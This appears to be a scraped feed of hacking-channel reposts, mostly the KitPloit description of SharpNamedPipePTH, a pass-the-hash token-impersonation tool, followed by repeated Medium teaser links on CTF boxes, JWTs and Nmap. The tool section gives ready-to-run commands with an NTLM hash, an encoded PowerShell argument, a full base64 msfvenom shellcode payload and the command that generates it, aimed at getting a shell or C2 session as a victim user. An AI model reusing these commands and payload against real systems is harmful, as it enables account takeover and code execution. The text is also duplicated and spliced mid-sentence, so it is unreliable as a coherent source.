SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"Or you can execute shellcode as the other user:SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=Which is msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.I'm not happy with the shellcode execution yet, as it's currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I'm still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation.
Download SharpNamedPipePTH (https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH)
HTML Injection inside Email body- The First BUG I hunted down in a Bug Bounty Platform!
Hola Amigo!!Continue reading on InfoSec Write-ups »
Read more...
Hola Amigo!!Continue reading on InfoSec Write-ups »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
SharpNamedPipePTH - Pass The Hash To A Named Pipe For Token Impersonation
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbzCWCW6JkOYVPcJO_GoXNkXwl3QhLE_XeW7D8XZ2iD1yuLMS8tCMzu4N3DYnlW4wLV-qeYiFhcP44L1lUKABgQhFUXjLwg6KayG4fqzAIpqbWT49Y-lSmmWKFyFFZyxyL-MZLdA9lDmWz0hzV2EVtvqbSAze0EmbzrdFnzo8YCPOeFm1ZpzHPwNXbkA/w624-h640/SharpNamedPipePTH_1_Example1.jpeg This project is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation: https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
It is heavily based on the code from the project Sharp-SMBExec.
I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a
My personal goals for a tool/technique were:
* Fully featured shell or C2-connection as the victim user-account
* It must to able to also Impersonate
* The tool can be used as C2-module
The impersonated user unfortunately has no network authentication allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user.
There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments):
I'm not happy with the shellcode execution yet, as it's currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I'm still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm-qmKGfndynvXfacp9nwaE5DJ2AbmZOYHdpGsj4BqgQtTVFLsvTj8AzguAFj3SMqGny4S-rh0vLyaN3HVlLIa6SOZOX9kZT0aCC2eKqbNA1r0TeWe_r2pH4ai-RMv5Y0NcFue9qtg-RYa-wtmfmUyq_yuUg2kkBKntYmCT3eZFKlIsUfQAYlc3xVi_Q/w620-h640/SharpNamedPipePTH_2_Example2.jpeg Download SharpNamedPipePTH
___________________________
@hacking_Attack
@Hacking_Video
SharpNamedPipePTH - Pass The Hash To A Named Pipe For Token Impersonation
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbzCWCW6JkOYVPcJO_GoXNkXwl3QhLE_XeW7D8XZ2iD1yuLMS8tCMzu4N3DYnlW4wLV-qeYiFhcP44L1lUKABgQhFUXjLwg6KayG4fqzAIpqbWT49Y-lSmmWKFyFFZyxyL-MZLdA9lDmWz0hzV2EVtvqbSAze0EmbzrdFnzo8YCPOeFm1ZpzHPwNXbkA/w624-h640/SharpNamedPipePTH_1_Example1.jpeg This project is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation: https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
It is heavily based on the code from the project Sharp-SMBExec.
I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a
low privilegeduser account and needed a shell for that user on the current compromised system - but that was not possible with the current public tools. Imagine two more facts for a situation like that - the NTLM Hash could not be cracked and there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation.My personal goals for a tool/technique were:
* Fully featured shell or C2-connection as the victim user-account
* It must to able to also Impersonate
low privilegedaccounts - depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or others* The tool can be used as C2-module
The impersonated user unfortunately has no network authentication allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user.
There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbzCWCW6JkOYVPcJO_GoXNkXwl3QhLE_XeW7D8XZ2iD1yuLMS8tCMzu4N3DYnlW4wLV-qeYiFhcP44L1lUKABgQhFUXjLwg6KayG4fqzAIpqbWT49Y-lSmmWKFyFFZyxyL-MZLdA9lDmWz0hzV2EVtvqbSAze0EmbzrdFnzo8YCPOeFm1ZpzHPwNXbkA/w624-h640/SharpNamedPipePTH_1_Example1.jpeg SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"Or you can execute shellcode as the other user: SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=Which is msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.I'm not happy with the shellcode execution yet, as it's currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I'm still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm-qmKGfndynvXfacp9nwaE5DJ2AbmZOYHdpGsj4BqgQtTVFLsvTj8AzguAFj3SMqGny4S-rh0vLyaN3HVlLIa6SOZOX9kZT0aCC2eKqbNA1r0TeWe_r2pH4ai-RMv5Y0NcFue9qtg-RYa-wtmfmUyq_yuUg2kkBKntYmCT3eZFKlIsUfQAYlc3xVi_Q/w620-h640/SharpNamedPipePTH_2_Example2.jpeg Download SharpNamedPipePTH
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
SharpNamedPipePTH - Pass The Hash To A Named Pipe For Token Impersonation
JSON web tokens
For decades cookies have been used to authenticate a user and hold session data. But a simple session cookie has certain limitations and…Continue reading on InfoSec Write-ups »
Read more...
For decades cookies have been used to authenticate a user and hold session data. But a simple session cookie has certain limitations and…Continue reading on InfoSec Write-ups »
Read more...
Tryhackme 0day Makine Çözümü
Açıklama: Selam arkadaşlar, Tryhackme platformunda bulunan ‘0day’ isimli makinenin çözümünü sizinle paylaşıyor olacağım. Bu makinede…Continue reading on Medium »
Read more...
Açıklama: Selam arkadaşlar, Tryhackme platformunda bulunan ‘0day’ isimli makinenin çözümünü sizinle paylaşıyor olacağım. Bu makinede…Continue reading on Medium »
Read more...
Monitoring your targets for bug bounties
An intro to setting up a monitoring system for your bug bounty targetContinue reading on InfoSec Write-ups »
Read more...
An intro to setting up a monitoring system for your bug bounty targetContinue reading on InfoSec Write-ups »
Read more...
JSON web tokens
For decades cookies have been used to authenticate a user and hold session data. But a simple session cookie has certain limitations and…Continue reading on InfoSec Write-ups »
Read more...
For decades cookies have been used to authenticate a user and hold session data. But a simple session cookie has certain limitations and…Continue reading on InfoSec Write-ups »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
I got hacked & here’s what I learned
https://cdn-images-1.medium.com/max/600/0*DoxCaKPZbWPEcNYX
This was honestly one of the Stupidest things that I did & it cost me 2963$ at the time of writing😵
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
I got hacked & here’s what I learned
https://cdn-images-1.medium.com/max/600/0*DoxCaKPZbWPEcNYX
This was honestly one of the Stupidest things that I did & it cost me 2963$ at the time of writing😵
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
I got hacked & here’s what I learned
This was honestly one of the Stupidest things that I did & it cost me 2963$ at the time of writing😵
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Nmap in pocket : A complete guide
https://cdn-images-1.medium.com/max/1240/1*yBGT3QO36k3qzIXnVeRNvA.png
Welcome Hackers,
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Nmap in pocket : A complete guide
https://cdn-images-1.medium.com/max/1240/1*yBGT3QO36k3qzIXnVeRNvA.png
Welcome Hackers,
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Nmap in pocket : A complete guide
Welcome Hackers,
Hacking on Medium
Top 10 Most Notorious Hackers of All Time
In this video, you will know about the World’s Top 10 Most Notorious Hackers of All Time.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Top 10 Most Notorious Hackers of All Time
In this video, you will know about the World’s Top 10 Most Notorious Hackers of All Time.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Top 10 Most Notorious Hackers of All Time
In this video, you will know about the World’s Top 10 Most Notorious Hackers of All Time.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
VulnHub: Healthcare
https://cdn-images-1.medium.com/max/817/1*2H5w33MP7xFfcyaHnv-eqw.png
Today we will be looking at Healthcare which is a VulnHub box. As usual we start off with an NMAP scan and see that both port 21 and 80…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
VulnHub: Healthcare
https://cdn-images-1.medium.com/max/817/1*2H5w33MP7xFfcyaHnv-eqw.png
Today we will be looking at Healthcare which is a VulnHub box. As usual we start off with an NMAP scan and see that both port 21 and 80…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
VulnHub: Healthcare
Today we will be looking at Healthcare which is a VulnHub box. As usual we start off with an NMAP scan and see that both port 21 and 80…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Why I quit using Gmail, and why you need to do the same
https://cdn-images-1.medium.com/max/840/1*yVpZqRC1p1dvFpcq3LFPBw.jpeg
Gmail is used by everyone, right? I use it, you use it, and if you gave your mother a Facebook account, you most likely gave her a Gmail…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Why I quit using Gmail, and why you need to do the same
https://cdn-images-1.medium.com/max/840/1*yVpZqRC1p1dvFpcq3LFPBw.jpeg
Gmail is used by everyone, right? I use it, you use it, and if you gave your mother a Facebook account, you most likely gave her a Gmail…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Why I quit using Gmail, and why you need to do the same
Gmail is used by everyone, right? I use it, you use it, and if you gave your mother a Facebook account, you most likely gave her a Gmail…